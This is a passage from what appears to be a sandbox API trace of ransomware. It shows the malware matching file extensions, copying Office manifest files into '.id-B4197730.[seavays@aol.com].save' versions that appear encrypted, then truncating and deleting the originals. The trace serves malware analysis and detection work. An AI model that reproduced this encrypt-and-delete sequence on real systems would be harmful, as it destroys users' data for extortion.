Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0060.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.090] lstrlenW (lpString=".doc") returned 4 [0060.090] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.090] lstrlenW (lpString=".docx") returned 5 [0060.090] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.090] lstrlenW (lpString=".pdf") returned 4 [0060.090] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.090] lstrlenW (lpString=".xls") returned 4 [0060.090] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.090] lstrlenW (lpString=".xlsx") returned 5 [0060.091] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.091] lstrlenW (lpString=".ppt") returned 4 [0060.091] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString=".zip") returned 4 [0060.091] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.091] lstrlenW (lpString=".rar") returned 4 [0060.091] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString=".bz2") returned 4 [0060.091] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString=".7z") returned 3 [0060.091] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString=".dbf") returned 4 [0060.091] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString=".1cd") returned 4 [0060.091] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString=".jpg") returned 4 [0060.091] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.091] lstrlenW (lpString=".doc") returned 4 [0060.091] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString=".docx") returned 5 [0060.091] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.091] lstrlenW (lpString=".pdf") returned 4 [0060.091] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString=".xls") returned 4 [0060.091] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.091] lstrlenW (lpString=".xlsx") returned 5 [0060.092] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.092] lstrlenW (lpString=".ppt") returned 4 [0060.092] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.092] lstrlenW (lpString=".zip") returned 4 [0060.092] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.092] lstrlenW (lpString=".rar") returned 4 [0060.092] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.092] lstrlenW (lpString=".bz2") returned 4 [0060.092] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.092] lstrlenW (lpString=".7z") returned 3 [0060.092] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.092] lstrlenW (lpString=".dbf") returned 4 [0060.092] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.092] lstrlenW (lpString=".1cd") returned 4 [0060.092] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0060.092] lstrlenW (lpString=".jpg") returned 4 [0060.092] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.092] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.092] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53 [0060.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.093] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=343329) returned 1 [0060.093] CloseHandle (hObject=0x2c0) returned 1 [0060.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220 [0060.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.093] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.093] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.093] GetLastError () returned 0x0 [0060.093] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x53d21, lpOverlapped=0x0) returned 1 [0060.524] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x53d30, lpOverlapped=0x0) returned 1 [0060.532] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.532] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.532] SetEndOfFile (hFile=0x314) returned 1 [0060.533] CloseHandle (hObject=0x314) returned 1 [0060.541] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.541] SetEndOfFile (hFile=0x2c0) returned 1 [0060.545] CloseHandle (hObject=0x2c0) returned 1 [0060.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1 [0060.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.546] lstrlenW (lpString=".doc") returned 4 [0060.546] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.546] lstrlenW (lpString=".docx") returned 5 [0060.546] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.546] lstrlenW (lpString=".pdf") returned 4 [0060.546] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.546] lstrlenW (lpString=".xls") returned 4 [0060.546] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.546] lstrlenW (lpString=".xlsx") returned 5 [0060.546] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.547] lstrlenW (lpString=".ppt") returned 4 [0060.547] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString=".zip") returned 4 [0060.547] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.547] lstrlenW (lpString=".rar") returned 4 [0060.547] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString=".bz2") returned 4 [0060.547] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString=".7z") returned 3 [0060.547] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString=".dbf") returned 4 [0060.547] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString=".1cd") returned 4 [0060.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString=".jpg") returned 4 [0060.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.547] lstrlenW (lpString=".doc") returned 4 [0060.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.547] lstrlenW (lpString=".docx") returned 5 [0060.547] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.547] lstrlenW (lpString=".pdf") returned 4 [0060.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString=".xls") returned 4 [0060.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString=".xlsx") returned 5 [0060.548] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.548] lstrlenW (lpString=".ppt") returned 4 [0060.548] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.548] lstrlenW (lpString=".zip") returned 4 [0060.548] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.548] lstrlenW (lpString=".rar") returned 4 [0060.548] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString=".bz2") returned 4 [0060.548] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString=".7z") returned 3 [0060.548] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.548] lstrlenW (lpString=".dbf") returned 4 [0060.548] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.548] lstrlenW (lpString=".1cd") returned 4 [0060.548] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104 [0060.548] lstrlenW (lpString=".jpg") returned 4 [0060.548] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.549] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.549] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0060.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.550] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0060.550] CloseHandle (hObject=0x2c0) returned 1 [0060.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.550] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.550] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.551] GetLastError () returned 0x0 [0060.551] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.900] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0060.905] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0060.905] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x13e, lpOverlapped=0x0) returned 1 [0060.906] SetEndOfFile (hFile=0x314) returned 1 [0060.906] CloseHandle (hObject=0x314) returned 1 [0060.907] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.907] SetEndOfFile (hFile=0x2c0) returned 1 [0060.908] CloseHandle (hObject=0x2c0) returned 1 [0060.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0060.909] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0060.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.909] lstrlenW (lpString=".doc") returned 4 [0060.909] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.909] lstrlenW (lpString=".docx") returned 5 [0060.909] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.909] lstrlenW (lpString=".pdf") returned 4 [0060.909] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.909] lstrlenW (lpString=".xls") returned 4 [0060.909] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.909] lstrlenW (lpString=".xlsx") returned 5 [0060.909] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.909] lstrlenW (lpString=".ppt") returned 4 [0060.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString=".zip") returned 4 [0060.910] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.910] lstrlenW (lpString=".rar") returned 4 [0060.910] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString=".bz2") returned 4 [0060.910] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString=".7z") returned 3 [0060.910] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString=".dbf") returned 4 [0060.910] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString=".1cd") returned 4 [0060.910] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString=".jpg") returned 4 [0060.910] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.910] lstrlenW (lpString=".doc") returned 4 [0060.910] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString=".docx") returned 5 [0060.910] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0060.910] lstrlenW (lpString=".pdf") returned 4 [0060.910] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString=".xls") returned 4 [0060.910] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.910] lstrlenW (lpString=".xlsx") returned 5 [0060.910] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0060.910] lstrlenW (lpString=".ppt") returned 4 [0060.910] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.911] lstrlenW (lpString=".zip") returned 4 [0060.911] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.911] lstrlenW (lpString=".rar") returned 4 [0060.911] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.911] lstrlenW (lpString=".bz2") returned 4 [0060.911] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.911] lstrlenW (lpString=".7z") returned 3 [0060.911] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.911] lstrlenW (lpString=".dbf") returned 4 [0060.911] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.911] lstrlenW (lpString=".1cd") returned 4 [0060.911] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0060.911] lstrlenW (lpString=".jpg") returned 4 [0060.911] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.911] lstrcmpiW (lpString1=".xml", lpString2=".save") returned 1 [0060.911] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0060.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.912] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=1261) returned 1 [0060.912] CloseHandle (hObject=0x2c0) returned 1 [0060.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0060.912] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0060.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0060.912] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.912] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0060.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0060.913] GetLastError () returned 0x0 [0060.913] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0060.914] WriteFile (in: hFile=0x314, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, 